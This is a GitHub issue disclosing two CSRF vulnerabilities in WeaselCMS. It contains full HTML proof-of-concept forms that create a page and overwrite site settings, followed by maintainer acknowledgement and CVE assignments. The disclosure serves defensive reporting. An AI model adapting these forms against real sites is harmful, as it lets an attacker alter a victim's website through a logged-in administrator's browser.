Giters

alterebro / WeaselCMS

Lightweight flat file CMS written in PHP

Home Page:http://weasel.moro.es

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

There are two CSRF vulnerabilities that can create new pages or update the website settings

Cgaiide opened this issue · comments

commented
  1. There is a CSRF vulnerability that can create new pages via index.php?b=pages&a=new
  • poc:

one.html---create a new page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/weasel-cms/index.php" method="POST">
      <input type="hidden" name="page&#45;action" value="create" />
      <input type="hidden" name="page&#45;title" value="newpage" />
      <input type="hidden" name="page&#45;content" value="newpagenewpagenewpage" />
      <input type="hidden" name="page&#45;date" value="2018&#45;08&#45;03" />
      <input type="hidden" name="page&#45;time" value="11&#58;54" />
      <input type="hidden" name="page&#45;slug" value="newpage" />
      <input type="hidden" name="page&#45;tags" value="newpage" />
      <input type="hidden" name="page&#45;description" value="newpage" />
      <input type="hidden" name="page&#45;active" value="on" />
      <input type="hidden" name="page&#45;submit" value="Create&#32;New&#32;Page" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2.There is a CSRF vulnerability that can update the website settings via index.php

  • poc:

two.html---update the website settings

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/weasel-cms/index.php" method="POST">
      <input type="hidden" name="site&#45;language" value="en" />
      <input type="hidden" name="site&#45;title" value="newsettings" />
      <input type="hidden" name="site&#45;description" value="newsettings" />
      <input type="hidden" name="site&#45;keywords" value="newsettings" />
      <input type="hidden" name="site&#45;theme" value="weasel-dark" />
      <input type="hidden" name="settings&#45;submit" value="Save&#32;Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
commented

Good catch @SkyZhang47 ! thanks for reporting this again

commented

CVE-2018-14958 and CVE-2018-14959 has been assigned for this.